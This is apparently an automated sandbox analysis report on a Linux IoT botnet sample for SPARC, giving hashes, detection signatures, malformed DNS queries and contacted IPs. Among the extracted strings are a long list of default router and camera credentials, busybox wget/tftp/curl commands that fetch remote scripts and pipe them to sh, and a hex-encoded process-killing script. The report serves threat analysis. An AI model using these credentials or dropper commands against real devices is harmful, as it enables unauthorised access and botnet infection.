Linux Analysis Report
la.bot.sparc.elf

Overview

General Information

Sample name: la.bot.sparc.elf
Analysis ID: 1543066
MD5: 6ea1bb2a6bf614b23a771ec3db6be242
SHA1: 6540356d8c3d10d80e4c7a9785130be29d8bf8bb
SHA256: 21d830440b72c8ebd74eff2929acfe2ab733c4596448ebffdbd574f42ad8a1e4
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Sends malformed DNS queries
Creates hidden files and/or directories
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: la.bot.sparc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: la.bot.sparc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: la.bot.sparc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64/
Source: la.bot.sparc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Sends malformed DNS queries
Source: global traffic DNS traffic detected: malformed DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: malformed DNS query: ru.coziest.lol. [malformed]
Sample listens on a socket
Source: /tmp/la.bot.sparc.elf (PID: 6278) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: unknown TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown TCP traffic detected without corresponding DNS query: 169.79.244.68
Source: unknown TCP traffic detected without corresponding DNS query: 169.79.244.68
Source: unknown TCP traffic detected without corresponding DNS query: 181.131.131.2
Source: unknown TCP traffic detected without corresponding DNS query: 181.131.131.2
Source: unknown TCP traffic detected without corresponding DNS query: 159.203.136.222
Source: unknown TCP traffic detected without corresponding DNS query: 201.236.101.136
Source: unknown TCP traffic detected without corresponding DNS query: 159.203.136.222
Source: unknown TCP traffic detected without corresponding DNS query: 26.6.74.111
Source: unknown TCP traffic detected without corresponding DNS query: 201.236.101.136
Source: unknown TCP traffic detected without corresponding DNS query: 26.6.74.111
Source: unknown TCP traffic detected without corresponding DNS query: 177.70.243.64
Source: unknown TCP traffic detected without corresponding DNS query: 177.70.243.64
Source: unknown TCP traffic detected without corresponding DNS query: 31.197.123.55
Source: unknown TCP traffic detected without corresponding DNS query: 31.197.123.55
Source: unknown TCP traffic detected without corresponding DNS query: 140.192.72.187
Source: unknown TCP traffic detected without corresponding DNS query: 72.84.201.100
Source: unknown TCP traffic detected without corresponding DNS query: 140.192.72.187
Source: unknown TCP traffic detected without corresponding DNS query: 56.83.176.165
Source: unknown TCP traffic detected without corresponding DNS query: 72.84.201.100
Source: unknown TCP traffic detected without corresponding DNS query: 112.6.252.77
Source: unknown TCP traffic detected without corresponding DNS query: 56.83.176.165
Source: unknown TCP traffic detected without corresponding DNS query: 170.85.30.43
Source: unknown TCP traffic detected without corresponding DNS query: 112.6.252.77
Source: unknown TCP traffic detected without corresponding DNS query: 167.167.96.19
Source: unknown TCP traffic detected without corresponding DNS query: 170.85.30.43
Source: unknown TCP traffic detected without corresponding DNS query: 61.191.199.213
Source: unknown TCP traffic detected without corresponding DNS query: 167.167.96.19
Source: unknown TCP traffic detected without corresponding DNS query: 67.65.29.90
Source: unknown TCP traffic detected without corresponding DNS query: 61.191.199.213
Source: unknown TCP traffic detected without corresponding DNS query: 149.160.39.42
Source: unknown TCP traffic detected without corresponding DNS query: 67.65.29.90
Source: unknown TCP traffic detected without corresponding DNS query: 219.198.217.154
Source: unknown TCP traffic detected without corresponding DNS query: 149.160.39.42
Source: unknown TCP traffic detected without corresponding DNS query: 20.37.115.230
Source: unknown TCP traffic detected without corresponding DNS query: 219.198.217.154
Source: unknown TCP traffic detected without corresponding DNS query: 94.200.101.159
Source: unknown TCP traffic detected without corresponding DNS query: 20.37.115.230
Source: unknown TCP traffic detected without corresponding DNS query: 202.198.106.0
Source: unknown TCP traffic detected without corresponding DNS query: 94.200.101.159
Source: unknown TCP traffic detected without corresponding DNS query: 135.61.147.185
Source: unknown TCP traffic detected without corresponding DNS query: 202.198.106.0
Source: unknown TCP traffic detected without corresponding DNS query: 206.167.119.126
Source: unknown TCP traffic detected without corresponding DNS query: 135.61.147.185
Source: unknown TCP traffic detected without corresponding DNS query: 88.42.166.155
Source: unknown TCP traffic detected without corresponding DNS query: 206.167.119.126
Source: unknown TCP traffic detected without corresponding DNS query: 133.122.137.190
Source: unknown TCP traffic detected without corresponding DNS query: 88.42.166.155
Source: unknown TCP traffic detected without corresponding DNS query: 7.171.68.211
Source: unknown TCP traffic detected without corresponding DNS query: 133.122.137.190
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: global traffic DNS traffic detected: DNS query: 75cents.libre
Source: global traffic DNS traffic detected: DNS query: 75cents.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in. [malformed]
Source: global traffic DNS traffic detected: DNS query: nineteen.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate. [malformed]
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: 21savage.dyn. [malformed]
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk.
Source: global traffic DNS traffic detected: DNS query: f.codingdrunk. . [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol
Source: global traffic DNS traffic detected: DNS query: 2joints.libre. [malformed]
Source: global traffic DNS traffic detected: DNS query: ru.coziest.lol. [malformed]
Source: global traffic DNS traffic detected: DNS query: imaverygoodbadboy.libre
Source: global traffic DNS traffic detected: DNS query: www.codingdrunk.in
Source: global traffic DNS traffic detected: DNS query: fortyfivehundred.dyn
Source: global traffic DNS traffic detected: DNS query: eighteen.pirate
Source: la.bot.sparc.elf String found in binary or memory: http:///curl.sh
Source: la.bot.sparc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedbinvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/tmp//var//var/
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/la.bot.sparc.elf (PID: 6280) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@170/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/la.bot.sparc.elf (PID: 6282) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /root/.cache Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /root/.ssh Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /root/.config Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /root/.local Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6282) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/230/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/110/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/231/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/111/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/232/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/112/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/233/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/113/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/234/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/114/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/235/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/115/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/236/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/116/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/237/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/117/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/118/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/910/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/119/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/912/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/10/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/11/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/918/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/12/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/13/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/14/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/15/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/16/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/17/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/18/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/120/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/121/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/1/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/122/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/243/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/123/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/2/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/124/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/3/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/4/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/125/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/126/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/127/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/6/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/248/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/128/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/249/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/800/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/9/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/801/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/20/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/21/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/22/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/23/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.sparc.elf (PID: 6280) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.sparc.elf (PID: 6282) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.sparc.elf (PID: 6278) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.sparc.elf, 6278.1.00007ffe62923000.00007ffe62944000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-sparc/tmp/la.bot.sparc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.sparc.elf
Source: la.bot.sparc.elf, 6278.1.00005568d1b25000.00005568d1bab000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/sparc
Source: la.bot.sparc.elf, 6278.1.00007ffe62923000.00007ffe62944000.rw-.sdmp Binary or memory string: /usr/bin/qemu-sparc
Source: la.bot.sparc.elf, 6278.1.00005568d1b25000.00005568d1bab000.rw-.sdmp Binary or memory string: hU!/etc/qemu-binfmt/sparc

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
72.61.141.67
 unknown United States
10507 SPCSUS false
41.116.238.237
 unknown South Africa
16637 MTNNS-ASZA false
9.84.90.214
 unknown United States
3356 LEVEL3US false
45.104.148.23
 unknown Egypt
37069 MOBINILEG false
157.6.53.131
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
40.196.205.140
 unknown United States
4249 LILLY-ASUS false
57.5.138.203
 unknown Belgium
2686 ATGS-MMD-ASUS false
25.160.216.151
 unknown United Kingdom
7922 COMCAST-7922US false
211.101.65.165
 unknown China
17964 DXTNETBeijingDian-Xin-TongNetworkTechnologiesCoLtd false
201.41.130.15
 unknown Brazil
8167 BrasilTelecomSA-FilialDistritoFederalBR false
53.164.80.17
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
144.32.133.48
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
67.241.131.130
 unknown United States
11351 TWC-11351-NORTHEASTUS false
134.172.102.65
 unknown United States
18128 RIKENRIKENPhysicalandChemicalResearchInstituteJP false
27.185.59.52
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
168.35.75.184
 unknown United States
1761 TDIR-CAPNETUS false
178.69.143.130
 unknown Russian Federation
12389 ROSTELECOM-ASRU false
219.26.98.172
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
107.237.138.209
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
137.185.194.245
 unknown United States
11003 PANDGUS false
217.116.84.250
 unknown Norway
29517 REGISTRAR-ASNO false
67.143.222.86
 unknown United States
6621 HNS-DIRECPCUS false
201.227.138.102
 unknown Panama
11556 CableWirelessPanamaPA false
30.249.162.4
 unknown United States
7922 COMCAST-7922US false
218.218.16.41
 unknown Japan 4725 ODNSoftBankMobileCorpJP false
185.232.205.136
 unknown Spain
201942 SOLTIAES false
215.91.43.33
 unknown United States
721 DNIC-ASBLK-00721-00726US false
7.7.197.164
 unknown United States
3356 LEVEL3US false
130.245.128.202
 unknown United States
5719 SUNYSBUS false
3.41.200.216
 unknown United States
8987 AMAZONEXPANSIONGB false
25.27.123.220
 unknown United Kingdom
7922 COMCAST-7922US false
165.75.217.142
 unknown United States
63474 SIRIUS-DATACENTERSUS false
162.212.33.6
 unknown United States
27172 AIT-ORD-701-AS27172US false
42.63.184.249
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
73.2.2.64
 unknown United States
7922 COMCAST-7922US false
108.23.239.129
 unknown United States
5650 FRONTIER-FRTRUS false
28.19.59.162
 unknown United States
7922 COMCAST-7922US false
219.179.242.120
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
113.99.33.196
 unknown China
58466 CT-GUANGZHOU-IDCCHINANETGuangdongprovincenetworkCN false
20.92.28.89
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
8.32.64.78
 unknown United States
3356 LEVEL3US false
96.139.97.231
 unknown United States
7922 COMCAST-7922US false
181.43.42.27
 unknown Chile
6471 ENTELCHILESACL false
179.179.207.6
 unknown Brazil
18881 TELEFONICABRASILSABR false
199.58.40.53
 unknown United States
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
72.194.18.214
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
130.75.79.143
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
69.106.8.53
 unknown United States
7018 ATT-INTERNET4US false
135.76.75.223
 unknown United States
18676 AVAYAUS false
123.242.218.237
